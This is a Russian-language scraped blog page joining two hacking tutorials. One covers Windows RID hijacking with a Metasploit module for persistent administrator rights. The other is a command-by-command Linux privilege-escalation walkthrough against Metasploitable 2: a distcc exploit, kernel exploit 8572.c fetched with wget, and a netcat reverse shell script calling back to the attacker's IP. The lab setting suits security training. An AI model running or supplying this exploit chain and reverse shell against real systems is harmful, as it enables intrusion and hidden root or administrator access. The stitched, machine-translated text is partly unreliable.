- Статья RID Hijacking: повышаем привилегии обычного user до Administrator (rid_hijack, metasploit, Kali Linux)
- Русские Блоги
- Используйте Metasploit
- Поиск версии ядра
- Ищу лазейки
- Используйте Apache для предоставления эксплойтов
- Готов к запуску файла
- Загрузить файл
- Компилировать эксплойт
- Найти PID
- Начать слушатель
- Запустите эксплойт
Статья RID Hijacking: повышаем привилегии обычного user до Administrator (rid_hijack, metasploit, Kali Linux)
Иногда довольно сложно удержать доступ к машине жертвы после успешного проникновения, особенно если нет возможности выполнить вредоносный код от имени администратора или создать и добавить пользователя в привилегированную группу. Сегодня хотел бы поговорить о методе пост эксплуатации под названием RID Hijacking — уязвимости, которая известна почти год, но патча от Microsoft всё еще нет…
RID Hijacking (или “угон RID”) — уязвимость найденная специалистом по безопасности из Колумбии Себастьяном Кастро, которая представляет из себя возможность получить права админа и добиться устойчивого присутствия в системе. Метод основан на подмене одного из параметров учетных записей в системе — относительного идентификатора (RID).
Интересно, что данную уязвимость специалист опубликовал в своем блоге еще в декабре 2017, но новость осталась незамеченной и даже несмотря на то что эксперт отправил в Microsoft отчет сразу после проверки своей теории на практике, ответа он не получил, а патч так и не вышел.
RID — это уникальное порядковое число, присвоенное учетной записи, которое добавляется в конец SID (Security ID). Например RID учетной записи администратора всегда имеет значение 500, а RID для учетной записи гостя имеет значение 501.
Данная атака основана на изменении ключей реестра Windows, что позволяет присвоить идентификатор на любую учетную запись, тем самым предоставляя права, которые привязаны к этому идентификатору(RID). Подобная техника крайне полезна хакерам, которые уже проникли в систему жертвы и пытаются реализовать методы постэксплуатации. Подмена RID позволит запустить вредоносное ПО от имени администратора, даже после перезагрузки ПК. К этой уязвимости подвержены почти все версии Windows — начиная от XP и заканчивая последними обновлениями Windows 10, а также и серверные ОС с Windows Server 2003 до 2016. Пока Microsoft “думает“ над патчем, специалисты подготовили готовый модуль для Metasploit, который доступен в последней версии фреймворка.
Реализация атаки
Атака будет реализована на Kali Linux, а атакуемый будет использовать Windows 7. В первую очередь обновим наш Metasploit командой apt update && apt install metasploit-framework. После запускаем фреймворк командой msfconsole и переходим к модулю для подмены RID.
- GETSYSTEM: если true, попытается получить привилегии SYSTEM
- GUEST_ACCOUNT: если true, будет использовать учетную запись “Гость” для подмены ID
- PASSWORD: если указано, подменит пароль для учетной записи
- RID: RID, который будет присвоен учетной записи
- USERNAME: если указано, будет искать определенную учетную запись пользователя и использовать его для подмены идентификатора, если GUEST_ACCOUNT = true, будет проигнорирован
- SESSION: указать номер сессии Meterpreter (подразумевается, что у нас имеется сессия)
. Если атакуемый не подвержен к этому виду атаки используйте любой другой вариант(например реализация уязвимости dde_delivery). Но это уже совсем другая история.
В моем примере я реализовал атаку EternalBlue для получения сессии обычного пользователя Windows 7 без прав администратора. Чтобы узнать имя учетной записи жертвы необходимо перейти к shell-оболочке и прописать whoami, либо загрузить mimkatz и прописать команду wdigest (
). Далее я использовал опцию background для того, чтобы сессия не закрывалась при выходе из Meterpreter-оболочки и можно было перейти к модулю RID Hijack.
На данный момент мы в роли злоумышленника имеем доступ к обычному пользователю. Перед выполнением эксплойта для повышения привилегии хочу заметить, что у нас нет прав на создание, редактирование и удаление файлов в папке system32, а также нет прав на запуск файлов от имени администратора.
Узнаем RID прописав команду whoami /all в cmd. RID указан в конце Security ID и он равен 1010.
Итак, для реализации эксплойта укажем параметры username, password и session, а остальные параметры оставляем дефолтными.
Прописываем exploit и скрипт моментально находит учетную запись, меняет RID и изменяет пароль.
Теперь необходимо перезайти в пользователя. При входе прописываем пароль “qwerty”, который указывали в опции “password”. Убеждаемся, что RID поменялся: для этого в командной строке прописываем команду whoami /all.
Обычный юзер “переобулся” в админа и теперь может запускать программы от имени администратора и например создавать, редактировать, удалять файлы в каталоге system32.
Ну и напоследок создаем учетную запись с правами администратора, перезаходим в новую учетку и радуемся полноценной админкой.
В завершении
Обнаружить данный вид атаки очень непросто, потому что она задействует стандартные ресурсы системы и не привлекает внимание атакуемого. Так как используются механизмы самой ОС, антивирусы, скорее всего, не “учуют” подобный эксплойт. Ну а в логах системы все операции будут фиксироваться как пользовательские.
Результаты своего исследования автор эксплойта представил на нескольких конференциях и отравил отчет представителям Microsoft еще в начале 2018-го, но уязвимость доступна по сей день на последних патчах Windows 10.
Русские Блоги
Спарта — замечательный сканер, быстрый и эффективный.
На Кали выполните эту команду в терминале.
В спартанском окне нажмите «Click here to add host(s) to scopeMsgstr «В поле» Добавить хосты в область «введите IP-адрес Metasploitable 2, как показано ниже.
Нажмите » Add to scope «Кнопка.
Через несколько секунд Спартанец нашел службу, но она продолжала сканировать.
Примерно через 2 минуты он найдет «distcc», как показано ниже.
DistCC используется для масштабирования больших заданий компилятора в разных системах, но его можно использовать для выполнения произвольных команд.
Используйте Metasploit
На Кали выполните эту команду в терминале.
msfconsole
В Metasploit выполните эту команду.
search distcc
В Metasploit выполните эту команду.
info exploit/unix/misc/distcc_exec
В Metasploit эти команды выполняются с использованием IP-адреса цели Metasploitable 2.
use exploit/unix/misc/distcc_exec set RHOST 192.168.58.134 exploit whoam1
Поиск версии ядра
Чтобы повысить разрешения, вам нужно использовать ядро. Поэтому первая задача — выяснить, какую версию ядра использует цель.
В Metasploit выполните эти команды в командной оболочке.
uname -a lsb_release -a
Целевое ядро2.6.24РаспределениеUbuntu 8.04Как показано ниже.
Ищу лазейки
На Kali откройте новый терминал и выполните эту команду, чтобы найти уязвимость, которая увеличивает разрешения для этого ядра.
searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Мы будем использовать8572.cЭксплойт, как показано ниже
На Kali выполните эту команду, чтобы проверить исходный код уязвимости.
less /usr/share/exploitdb/exploits/linux/local/8572.c
Информация об уязвимости отображается, как показано ниже.
Прочитайте, код не длинный, прочитайте и нажмитеqВыход «меньше».
Используйте Apache для предоставления эксплойтов
На Kali выполните эти команды, чтобы перезапустить apache2 и создать символическую ссылку, чтобы сделать все уязвимости доступными для загрузки.
service apache2 restart ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/
Готов к запуску файла
Уязвимость будет выполнена на цели/ tmp / runФайл, так что нам нужно сделать это.
Мы будем использовать простую обратную оболочку netcat.
На Кали выполните эту команду.
nano /var/www/html/run
В nano введите эти строки и замените IP-адрес на адрес машины Kali.
#!/bin/bash nc 192.168.58.129 12345 -e /bin/bash
прессCtrl + C,Y, EnterСохраните файл.
Загрузить файл
На Kali в оболочке с низким уровнем привилегий выполните эти команды для загрузки файлов в цель. Замените IP-адрес на IP-адрес машины Kali.
cd /tmp wget http://192.168.58.129 /run wget http://192.168.58.129 /local/8572.c
Компилировать эксплойт
На Kali в оболочке с низким уровнем привилегий выполните эти команды для компиляции файлов эксплойтов и файлов списков.
gcc -o exploit 8572.c ls -l
Найти PID
В документации по эксплойту говорится, что нам нужен идентификатор процесса (PID) сокета udevd netlink.
На Kali в командной оболочке с низким уровнем привилегий выполните эти команды, чтобы вывести список сетевых процессов и процессов udev.
cat /proc/net/netlink ps aux | grep udev
Единственный ненулевой PID в netlink должен быть номером, который вы хотите. Когда я делаю это, это2738Как показано ниже.
Чтобы подтвердить,udevdPID процесса должен быть на один выше. Когда я делаю это, это 2746, как показано ниже.
ps aux | grep udev
Начать слушатель
Когда эксплойт udev запускается, он запускает скрипт «run», который подключается обратно к Kali через порт 12345.
На Kali откройте новое окно терминала и выполните эти команды для прослушивания соединений.
nc -lvp 12345
Запустите эксплойт
На Kali в оболочке с низкими привилегиями выполните эту команду, чтобы повысить привилегии и открыть обратную оболочку. Замените номер на правильный PID цели.
./exploit 2746
Успешно изменен с обычного пользователя на пользователя root. Аминь.